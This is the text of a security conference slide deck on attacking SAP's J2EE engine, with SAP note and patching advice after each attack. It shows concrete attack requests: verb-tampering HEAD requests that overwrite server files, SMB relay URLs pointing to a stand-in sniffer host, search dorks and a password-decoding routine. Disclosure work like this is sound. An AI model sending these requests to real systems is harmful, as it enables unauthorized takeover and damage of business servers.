12.07.2015 Views

A crushing blow at the heart of SAP's J2EE Engine_BRUCON

A crushing blow at the heart of SAP's J2EE Engine_BRUCON

A crushing blow at the heart of SAP's J2EE Engine_BRUCON

SHOW MORE
SHOW LESS
  • No tags were found...

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Invest in securityto secure investmentsA <strong>crushing</strong> <strong>blow</strong> <strong>at</strong> <strong>the</strong> <strong>heart</strong> <strong>of</strong> SAP’s<strong>J2EE</strong> <strong>Engine</strong>. Version 1.1Alexander Polyakov , Dmitriy ChastuhinERPScan


Me• CTO <strong>of</strong> <strong>the</strong> ERPScan company• Head <strong>of</strong> DSecRG (research subdivision)• Architect <strong>of</strong> ERPScan Security Scanner for SAP• OWASP-EAS project leader• Business applic<strong>at</strong>ion security expertTweet: @sh2kerrLove circle logo’s )erpscan.com ERPScan — invest in security to secure investments2


ERPScan• Innov<strong>at</strong>ive company engaged in ERP security R&D• Flagship product - ERPScan Security Scanner for SAP• Tools:– Pentesting tool– sapsploit– web.xml scanner• Consulting Services:– SAP Pentest– SAP Assessment– SAP Code reviewLeading SAP AG partner in <strong>the</strong> field <strong>of</strong> discovering securityvulnerabilities by <strong>the</strong> number <strong>of</strong> founded vulnerabilitieserpscan.com ERPScan — invest in security to secure investments4


Agenda• Intro• SAP <strong>J2EE</strong> Architecture• Simple <strong>at</strong>tacks• Searching for epic hole Round 1• Searching for epic hole Round 2• Searching for epic hole Round 3 Crushing <strong>blow</strong>• Defense• Tool demo• Conclusion+2 Newvulnserpscan.com ERPScan — invest in security to secure investments5


Wh<strong>at</strong> is SAP ?Shut upAndPayВставьте рисунок на слайд, скруглите верхний левый и нижний правый угол(Формат – Формат рисунка), добавьте контур (оранжевый, толщина – 3)erpscan.com ERPScan — invest in security to secure investments6


SAP• The most popular business applic<strong>at</strong>ion• More than 120000 customers worldwide• 74% Forbes 500 companies run SAPВставьте рисунок на слайд, скруглите верхний левый и нижний правый угол(Формат – Формат рисунка), добавьте контур (оранжевый, толщина – 3)erpscan.com ERPScan — invest in security to secure investments7


SAP? Who cares?erpscan.com ERPScan — invest in security to secure investments8


SAP? Who cares?erpscan.com ERPScan — invest in security to secure investments9


<strong>J2EE</strong> <strong>Engine</strong>• ABAP engine:– Autom<strong>at</strong>ion <strong>of</strong> business processes like ERP, PLM, CRM, SRM• <strong>J2EE</strong> engine– Integr<strong>at</strong>ion, collabor<strong>at</strong>ion and management• SAP Portal• SAP PI• SAP XI• SAP Mobile Infrastructure• SAP Solution ManagerMany SAP systems don’t use ABAP stack so allold tricks will not workerpscan.com ERPScan — invest in security to secure investments10


<strong>J2EE</strong> <strong>Engine</strong>• Administr<strong>at</strong>ors and developers focused on ABAP stack• Pentesters mostly focused on ABAP stack• Researchers mostly focused on ABAP stack• GRC consultants focused only on ABAP stackIt is becoming more secure but….Hackers know about it. So <strong>the</strong>y will find easierways to control your business!erpscan.com ERPScan — invest in security to secure investments11


<strong>J2EE</strong> Pl<strong>at</strong>form Architectureerpscan.com ERPScan — invest in security to secure investments12


SecurityRemote controlAu<strong>the</strong>ntic<strong>at</strong>ionD<strong>at</strong>a SourceUser ManagementEncryptionerpscan.com ERPScan — invest in security to secure investments13


Remote control• Visual Admin – old and powerful administr<strong>at</strong>ion engine• NWA – Web-based administr<strong>at</strong>ion <strong>of</strong> <strong>J2EE</strong> <strong>Engine</strong>• <strong>J2EE</strong> Telnet –can be used to perform some administr<strong>at</strong>ion tasksThere are also more tools th<strong>at</strong>can be used for remote managementbut <strong>the</strong>y use e<strong>the</strong>r HTTP or P4 or telnet rotocolerpscan.com ERPScan — invest in security to secure investments14


Au<strong>the</strong>ntic<strong>at</strong>ion• Declar<strong>at</strong>ive au<strong>the</strong>ntic<strong>at</strong>ion: The Web container (<strong>J2EE</strong> <strong>Engine</strong>)handles au<strong>the</strong>ntic<strong>at</strong>ion• Programm<strong>at</strong>ic au<strong>the</strong>ntic<strong>at</strong>ion. Components running on <strong>the</strong> <strong>J2EE</strong><strong>Engine</strong> au<strong>the</strong>ntic<strong>at</strong>e directly against <strong>the</strong> User Management<strong>Engine</strong> (UME) using <strong>the</strong> UME API.Web Dynpro, Portal iViews = programm<strong>at</strong>ic<strong>J2EE</strong> Web applic<strong>at</strong>ions = declar<strong>at</strong>ive or programm<strong>at</strong>icerpscan.com ERPScan — invest in security to secure investments15


Declar<strong>at</strong>ive au<strong>the</strong>ntic<strong>at</strong>ionRestrictedaccess/admin/*DELETEadminWEB.XML file is stored in WEB-INF directory <strong>of</strong> applic<strong>at</strong>ion root.erpscan.com ERPScan — invest in security to secure investments16


D<strong>at</strong>a Source• D<strong>at</strong>abase only d<strong>at</strong>a source. All master d<strong>at</strong>a stored in <strong>the</strong>d<strong>at</strong>abase <strong>of</strong> <strong>the</strong> SAP Web Applic<strong>at</strong>ion Server Java. Intended forsmall environment.• LDAP Directory d<strong>at</strong>a source. Can be read-only or writable. Thisoption is rare due to our practice.[6]• ABAP-based d<strong>at</strong>a source. All users’ d<strong>at</strong>a is stored in some SAPNetWeaver ABAP engine. Usually it is done by usingcommunic<strong>at</strong>ion user SAPJSF_.User SAPJSF can have 2 different roles :SAP_BC_JSF_COMMUNICATION_ROSAP_BC_JSF_COMMUNICATIONerpscan.com ERPScan — invest in security to secure investments17


User Management• UME - User management engine. Using UME you can manageall user d<strong>at</strong>a thought web interface.http://server:port/useradmin• Visual Admin. Using Visual Admin you can manage all user d<strong>at</strong><strong>at</strong>hought P4 protocol.• SPML. Service Provisioning Markup Language (SPML) - newunified interface for managing UMEhttp://server:port/spml/spmlservice• O<strong>the</strong>rerpscan.com ERPScan — invest in security to secure investments18


EncryptionService Name Port Number Default Value Range (min-max)HTTP 5NN00 50000 50000-59900HTTP over SSL 5NN01 50001 50001-59901IIOP 5NN07 50007 50007-59907IIOP Initial Context 5NN02 50002 50002-59902IIOP over SSL 5NN03 50003 50003-59903P4 5NN04 50004 50004-59904P4 over HTTP 5NN05 50005 50005-59905P4 over SSL 5NN06 50006 50006-59906Telnet 5NN08 50008 50008-59908LogViewer control 5NN09 50009 50009-59909JMS 5NN10 50010 50010-59910By default all encryption on all ports and protocols is disablederpscan.com ERPScan — invest in security to secure investments19


PreventionPrevention:• Deny access to open ports from users subnet(except 5NN00). Only Administr<strong>at</strong>ors must have access.• Disable unnecessary serviceserpscan.com ERPScan — invest in security to secure investments20


Hacking SAP NetWeaver <strong>J2EE</strong>erpscan.com ERPScan — invest in security to secure investments21


SAP NetWeaver <strong>J2EE</strong> for <strong>at</strong>tacker’s• Open ports - for internal <strong>at</strong>tacks• Web applic<strong>at</strong>ions - for internal and externalerpscan.com ERPScan — invest in security to secure investments22


Insecure password encryption in P4• P4 – protocol which is using by Visual Admin• By default d<strong>at</strong>a transmitted in cleartext• But password is encryptedLets look deepererpscan.com ERPScan — invest in security to secure investments23


Hacking SAP NetWeaver <strong>J2EE</strong>erpscan.com ERPScan — invest in security to secure investments24


DEMOImpress meerpscan.com ERPScan — invest in security to secure investments25


Insecure password encryption in P4• Encryption (masking), not <strong>the</strong> hash• Secret key is st<strong>at</strong>ic• Key potentially stored on server• Length <strong>of</strong> encrypted password depends on password length• Value <strong>of</strong> encrypted symbols depends on previous symbolsLooks like some kind <strong>of</strong> base64erpscan.com ERPScan — invest in security to secure investments26


Insecure password encryption in P4• /* 87 */ char mask = 43690;/* 88 */ char check = 21845;/* 89 */ char[] result = new char[d<strong>at</strong>a.length + 1];/* *//* 91 */ for (int i = 0; i < d<strong>at</strong>a.length; ++i) {/* 92 */ mask = (char)(mask ^ d<strong>at</strong>a[i]);/* 93 */ result[i] = mask;/* */ }/* 95 */ result[d<strong>at</strong>a.length] = (char)(mask ^ check);/* *//* 97 */ return result;erpscan.com ERPScan — invest in security to secure investments27


PreventionPrevention:• Use SSL for securing all d<strong>at</strong>a transmitting between serverserverand server-client connectionshttp://help.sap.com/saphelp_nwpi71/helpd<strong>at</strong>a/de/14/ef2940cbf2195de10000000a1550b0/content.htmerpscan.com ERPScan — invest in security to secure investments28


Attacking from <strong>the</strong> interneterpscan.com ERPScan — invest in security to secure investments29


Founding a targetCIO: But SAP can be only accessed internally.Me: Yeah sure )inurl:/irj/portalinurl:/IciEventService sapinurl:/IciEventService/IciEventConfinurl:/wsnavig<strong>at</strong>or/jsps/test.jspinurl:/irj/go/km/docs/Google helps us againerpscan.com ERPScan — invest in security to secure investments30


Inform<strong>at</strong>ion disclose• Kernel or applic<strong>at</strong>ion release and SP version.DSECRG-11-023,DSECRG-11-027, DSECRG-00208• Applic<strong>at</strong>ion logs and traces• UsernameDSECRG-00191,DSECRG-00232DSECRG-11-034New• Internal port scanning, Internal User bruteforceDSECRG-11-032NewDSECRG-00175erpscan.com ERPScan — invest in security to secure investments31


DSECRG-11-023erpscan.com ERPScan — invest in security to secure investments32


DSECRG-11-027erpscan.com ERPScan — invest in security to secure investments33


DSECRG-11-027/ipcpricing/ui/BufferOver…………………………?erpscan.com ERPScan — invest in security to secure investments34


DSECRG-11-027/ipcpricing/ui/BufferOverview.jsp?server=172.16.0.13&port=31337&password=&disp<strong>at</strong>cher=&targetClient=&view=erpscan.com ERPScan — invest in security to secure investments35


DSECRG-11-032 (new)Host is not aliveHTTP portPort closedSAP porterpscan.com ERPScan — invest in security to secure investments36


DSECRG-00231/meSync/S<strong>at</strong>FileReceiver – username and version discloseThis webservice is shipped only with Mobile <strong>Engine</strong> 2.1 which isnot supported from 2006erpscan.com ERPScan — invest in security to secure investments37


Prevention• Install SAP notes:1548548,1545883,1503856,948851, 1545883• Don’t use Mobile <strong>Engine</strong> 2.1 and o<strong>the</strong>r unsupported apps• Upd<strong>at</strong>e <strong>the</strong> l<strong>at</strong>est SAP notes every month• Disable unnecessary applic<strong>at</strong>ionserpscan.com ERPScan — invest in security to secure investments38


XSS15.09.2011 [DSECRG-11-033] SAP Crystal Report Server pubDBLogon - Linked ХSS vulnerability19.08.2011 [DSECRG-11-030] SAP NetWeaver JavaMailExamples - XSS19.07.2011 [DSECRG-11-028] SAP NetWeaver ISpeak – XSSNew20.06.2011 [DSECRG-11-024 ] SAP NetWeaver performance Provier Root - XSS20.06.2011 [DSECRG-11-025 ] SAP NetWeaver Trust Center Service - XSS12.04.2011 [DSECRG-11-016] SAP NetWeaver D<strong>at</strong>a Archiving Service - multiple XSS12.04.2011 [DSECRG-11-015] SAP NetWeaver MessagingServer - XSS14.03.2011 [DSECRG-11-013] SAP NetWeaver Runtime - multiple XSS14.03.2011 [DSECRG-11-012] SAP NetWeaver Integr<strong>at</strong>ion Directory - multiple XSS14.03.2011 [DSECRG-11-011] SAP Crystal Reports 2008 - Multiple XSS14.03.2011 [DSECRG-11-010] SAP NetWeaver logon.html - XSS14.03.2011 [DSECRG-11-009] SAP NetWeaver XI SOAP Adapter - XSS14.12.2010 [DSECRG-09-067] SAP NetWeaver DTR - Multiple XSS14.12.2010 [DSECRG-10-009] SAP NetWeaver ExchangePr<strong>of</strong>ile - XSS14.12.2010 [DSECRG-10-008] SAP NetWaver JPR Proxy Server - Multiple XSS14.12.2010 [DSECRG-10-007] SAP NetWeaver Component Build Service - XSS11.11.2010 [DSECRG-09-056] SAP Netweaver SQL Monitors - Multiple XSSAnd much more vulnerabilities are still p<strong>at</strong>chingerpscan.com ERPScan — invest in security to secure investments39


Prevention• Upd<strong>at</strong>e <strong>the</strong> l<strong>at</strong>est SAP notes• Disable unnecessary applic<strong>at</strong>ions• Set service property SystemCookiesD<strong>at</strong>aProtection to true.erpscan.com ERPScan — invest in security to secure investments40


SMBRelayApplic<strong>at</strong>ion MMR (Meta Model Repository)• You can get shell with administr<strong>at</strong>or rights• Server OS upd<strong>at</strong>es rarely on SAP systems• You can relay to o<strong>the</strong>r node <strong>of</strong> cluster• You can relay from DEV to TST (usually have <strong>the</strong> same password)http://server:port/mmr/MMR?filename=\\smbsniffer\anyfileerpscan.com ERPScan — invest in security to secure investments41


Prevention• Upd<strong>at</strong>e <strong>the</strong> l<strong>at</strong>est SAP notes (1483888)• Disable unnecessary applic<strong>at</strong>ions• Enable authoriz<strong>at</strong>ion checks where <strong>the</strong>y are necessary• For developers: limit access only for local system and alsoby directory and file typeerpscan.com ERPScan — invest in security to secure investments42


CSRF + SmbRelay = CSSRApplic<strong>at</strong>ion MMR (Meta Model Repository)P<strong>at</strong>ched by limiting access.Just send this link to admin = CSRF + SmbRelay = CSSROr inject with XSS into Portal = XSS + SmbRealy = XSSRhttp://server:port/mmr/MMR?filename=\\smbsniffer\anyfileerpscan.com ERPScan — invest in security to secure investments43


Prevention• Upd<strong>at</strong>e <strong>the</strong> l<strong>at</strong>est sapnotes• Disable unnecessary applic<strong>at</strong>ions• Enable SAP CSRF protection APIerpscan.com ERPScan — invest in security to secure investments44


CSRF protection• Standard XSRF Protection. Framework gener<strong>at</strong>es XSRF token,applies ei<strong>the</strong>r to POST-based or GET-based encoding, andvalid<strong>at</strong>es <strong>the</strong> correctness <strong>of</strong> <strong>the</strong> subsequent requests.• Custom CSRF Protection. Framework gener<strong>at</strong>es and provides anXSRF token to <strong>the</strong> applic<strong>at</strong>ion through <strong>the</strong> XSRF Protection API.The only way if you want to protect something different fromstandard GET/POST requests.Standard XSRF Protection is recommendederpscan.com ERPScan — invest in security to secure investments45


CSRF protection bypass• Need to find a place where CSRF protection is impossible• There must be a place without session management• Something like remote API• Like SOAP API …..HINT: SAP have all but you need to find it (c) DSecRGerpscan.com ERPScan — invest in security to secure investments46


Holy Graal <strong>of</strong> user managementSPMLerpscan.com ERPScan — invest in security to secure investments47


SPML Architectureerpscan.com ERPScan — invest in security to secure investments48


SPML ActionsUsing SPML you can do all <strong>the</strong> things th<strong>at</strong> can be done usingIdentity management API like:• Cre<strong>at</strong>ing objects (except sap roles)• Modifying objects (users, roles, groups)• Searching for objects• Deleting objectBut you need to have UME actions UME.Spml_Read_Action andUME.Spml_Write_Action ………… or?erpscan.com ERPScan — invest in security to secure investments49


Attacking SPML• Cre<strong>at</strong>e html page th<strong>at</strong> will send xmlhttprequest to SPML• Found XSS in SAP• Wait until administr<strong>at</strong>or clicks it• PROFIT!SAP asked us:- do not show example <strong>of</strong> SPML requesterpscan.com ERPScan — invest in security to secure investments50


OKAYerpscan.com ERPScan — invest in security to secure investments51


But wait! You can download it here:http://www.sdn.sap.com/irj/scn/go/portal/prtroot/docs/library/uuid/668e6629-0701-0010-7ca0-994cb7dec5a3?QuickLink=index&overridelayout=trueerpscan.com ERPScan — invest in security to secure investments52


Prevention• Limit access to SPML only for Administr<strong>at</strong>ors or IDM servers subnet• Assign SPML administr<strong>at</strong>ion roles only to a small amount <strong>of</strong> users• Disable SPML if it is not used• Upd<strong>at</strong>e <strong>the</strong> l<strong>at</strong>est SAP notes about XSS vulnerabilitieserpscan.com ERPScan — invest in security to secure investments53


Invoker Servlet auth bypass• published by SAP in <strong>the</strong>ir security recommend<strong>at</strong>ions• rapid calling servlets by <strong>the</strong>ir class name• possible to call any servlet from applic<strong>at</strong>ion even if it is notdeclared in WEB.XMLerpscan.com ERPScan — invest in security to secure investments54


Invoker Servlet auth bypassCriticalActioncom.sap.admin.Critical.ActionCriticalAction


Invoker Servlet auth bypassCall it directly by using /servlet/com.sap.admin.Critical.ActionSome applic<strong>at</strong>ions th<strong>at</strong> can be bypassed by direct calling toinvioker servlet (DSECRG-00239,DSECRG-240)erpscan.com ERPScan — invest in security to secure investments56


Prevention• Upd<strong>at</strong>e to <strong>the</strong> l<strong>at</strong>est p<strong>at</strong>ch• “EnableInvokerServletGlobally” property <strong>of</strong> <strong>the</strong> servlet_jsp must be “false”• If you need to partially enable invoker servlet check SAP note 1445998• For SAP NetWeaver Portal, see SAP Note 1467771If you can’t install p<strong>at</strong>ches for some reasons you can check all WEB.XML filesusing ERPScan web.xml scanner manually.erpscan.com ERPScan — invest in security to secure investments57


I want more!•I Came here with asimple dream………A dream <strong>of</strong> owning allSAPs Using one bugerpscan.com ERPScan — invest in security to secure investments58


And I found it…….Verb Tamperingerpscan.com ERPScan — invest in security to secure investments59


And I found it…….Verb Tampering is a dark horse described by Arshan Dabirsiaghi in2008 which doesn’t have many known examples until now• Must use security control th<strong>at</strong> lists HTTP verbs (DONE)• Security control fails to block verbs th<strong>at</strong> are not listed (DONE)• GET functionality will execute with an HEAD verb (DONE)SAP NetWeaver <strong>J2EE</strong> engine has all th<strong>at</strong> fe<strong>at</strong>ures !!!!erpscan.com ERPScan — invest in security to secure investments60


Declar<strong>at</strong>ive au<strong>the</strong>ntic<strong>at</strong>ionRestrictedaccess/admin/*GETadminWh<strong>at</strong> if we use HEAD instead <strong>of</strong> GET ?erpscan.com ERPScan — invest in security to secure investments61


But!But <strong>the</strong> problem was th<strong>at</strong> I need to find a needle in more than 500different applic<strong>at</strong>ions• Applic<strong>at</strong>ion must miss HEAD check in WEB.XML• Applic<strong>at</strong>ion must execute HEAD as GET• Request must do some action th<strong>at</strong> doesn’t need to return result• Request must do some really critical action– Potentially about 40 applic<strong>at</strong>ions are vulnerableerpscan.com ERPScan — invest in security to secure investments62


Round 1When I was totally despired……………………..erpscan.com ERPScan — invest in security to secure investments63


1 - unauthorized DOS• Integr<strong>at</strong>ion Directory applic<strong>at</strong>ion• Can be used to overwrite any OS file with trash values• for example it can be exploited to overwrite pr<strong>of</strong>ile parameterHEAD /dir/support/CheckService?cmd_check&fileNameL=DEFAULT1.PFL&directoryNameL=D:\usr\sap\DM0\SYS\pr<strong>of</strong>ile HTTP/1.0It means th<strong>at</strong> <strong>at</strong>tacker can overwrite ANY file <strong>of</strong> SAP serverremotely thought <strong>the</strong> Internet and it is doesn’t depend onversion <strong>of</strong> SAP applic<strong>at</strong>ion or oper<strong>at</strong>ion systemerpscan.com ERPScan — invest in security to secure investments64


Round 2When I was totally despired……………………..erpscan.com ERPScan — invest in security to secure investments65


2 - unauthorized smbrelay (VTSR)• Same vulnerability but o<strong>the</strong>r vector– Verb Tampering +SmbRelay = VTSR• Can be used for SMBrelay <strong>at</strong>tack and full access to OS• Unfortun<strong>at</strong>ely only on windowsHEAD /dir/support/CheckService?cmd_check&fileNameL=file&directoryNameL=\\smbsniffer\sniff\ HTTP/1.0It means th<strong>at</strong> <strong>at</strong>tacker get administr<strong>at</strong>ive access to SAP onWindows server on local subnet.erpscan.com ERPScan — invest in security to secure investments66


tiredWhen I was totally despaired……………………..erpscan.com ERPScan — invest in security to secure investments67


3 – unauthorized group assignment• Secret interface for managing <strong>J2EE</strong> engine• Interact with ABAP using JCO and SAPJSF user• Can be accessed remotely• Can run user management actions (but <strong>the</strong>re’s nodocument<strong>at</strong>ion)• Many commands were found but almost all requireusername and password additionally• Except some ))erpscan.com ERPScan — invest in security to secure investments68


3 – unauthorized group assignmentFirst vulnerability:• It is possible to add any user to any group• For example you can add guest user to group Administr<strong>at</strong>orswhich will lead to total destruction in public Portals.• Works when ABAP engine is a d<strong>at</strong>a store for <strong>J2EE</strong> andconnection using SAP_JSF_COMMUNICATIONerpscan.com ERPScan — invest in security to secure investments69


4 – total remote controlI was thinking th<strong>at</strong> this is a win …. until we got a contract forpen testing SAP Portal (hope next talk Will be ) and found moreepic things:• Vulnerability is working in <strong>the</strong> real life !• In Standalone <strong>J2EE</strong> engine it is possible to do almost everythingusing this applic<strong>at</strong>ion.• User management, remote on and <strong>of</strong>f, file system access,command execution ….• For example: By simply sending 2 HEAD requests you can cre<strong>at</strong>enew user and map him to group Administr<strong>at</strong>ors.erpscan.com ERPScan — invest in security to secure investments70


DEMOShow me DEMO!!!!!erpscan.com ERPScan — invest in security to secure investments71


Wh<strong>at</strong> else• There are still some verb tampering vulnerabilities in SAP• DSECRG-00243 etc…• It is not one bug it is architectural problemerpscan.com ERPScan — invest in security to secure investments72


A <strong>crushing</strong> <strong>blow</strong>erpscan.com ERPScan — invest in security to secure investments73


PreventionPrevention:• Install SAP note 1503579• Scan applic<strong>at</strong>ions using ERPScan WEB.XML checktool or manually• Secure WEB.XML by deleting all • Disable applic<strong>at</strong>ion th<strong>at</strong> are not necessaryerpscan.com ERPScan — invest in security to secure investments74


DefenseSAP options for protecting from almost all possible <strong>at</strong>tacks• But <strong>the</strong> number <strong>of</strong> problems is huge• But <strong>the</strong> systems are very complex• But administr<strong>at</strong>ors don’t careWe tried to help a little biterpscan.com ERPScan — invest in security to secure investments75


ERPSCAN WEB.XML check tool• Developed by EPPScan• Part <strong>of</strong> <strong>the</strong> commercial ERPScan Security Scanner• Can be downloaded <strong>of</strong>fline for freehttp://erpscan.com/products/erpscan-webxml-checker/• Intended to checking WEB.XML files for different vulnerabilitiesand missconfigur<strong>at</strong>ionserpscan.com ERPScan — invest in security to secure investments76


ERPSCAN WEB.XML check tool• (1) Inform<strong>at</strong>ion disclose through error code. Checking for • (2) Auth bypass through verb tampering. Checking for .• (3) Intercept critical d<strong>at</strong>a through lack <strong>of</strong> SSL encryption for d<strong>at</strong>a transfer. Checkingfor • (4) Cookie stealing thought lack <strong>of</strong> SSL for an authoriz<strong>at</strong>ion . Checking for • (5) Cookie stealing through XSS. Checking for Httponly=true• (6) Session stealing when JSESSIONID are not in Cookie. Checking for COOKIE,• (7) Increased CSRF or XSS probability with big session timeout. Checking for• (8) Unauthorized actions by locally enabled invoker servlets.Checking for InvokerServletLocallyEnabled• (9) Invoker servlet bypass . Checking for /* and /servlet/* in erpscan.com ERPScan — invest in security to secure investments77


Tool DEMOLook <strong>at</strong> myTOOLerpscan.com ERPScan — invest in security to secure investments78


Conclusion• For companies - It is just <strong>the</strong> beginning• For researchers - Work hard and you will get wh<strong>at</strong> you want• For pentesters – now you can hack SAP <strong>J2EE</strong>• For SAP developers – please read SAP’s recommend<strong>at</strong>ions• For GRC guys – security is not only SOD• For Administr<strong>at</strong>ors - read, p<strong>at</strong>ch, config, read, p<strong>at</strong>ch, config,….orask pr<strong>of</strong>essionals ))erpscan.com ERPScan — invest in security to secure investments79


Future workMany <strong>of</strong> <strong>the</strong> researched things cant be disclosed now because <strong>of</strong> goodrel<strong>at</strong>ionship with SAP Security Response Team which I would like to thank forcooper<strong>at</strong>ion. However if you want to see new demos and 0-days follow us <strong>at</strong>@erpscan and <strong>at</strong>tend fe<strong>at</strong>ure present<strong>at</strong>ions:• 29 Sept - InfosecurityRussia <strong>at</strong> Moscow• 11 October - HITB <strong>at</strong> KL• 25 October - Miami USA <strong>at</strong> HackerHalted• TBALook <strong>at</strong> dsecrg.com and erpscan.com for newsGreetz to• erpscan crew who helped: Dmitriy Evdokimov, Alexey Sintsov, Alexey Tuyrin,Pavel Kuzmin and also my friend Anton Spirin.• Brucon organizerserpscan.com ERPScan — invest in security to secure investments80

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!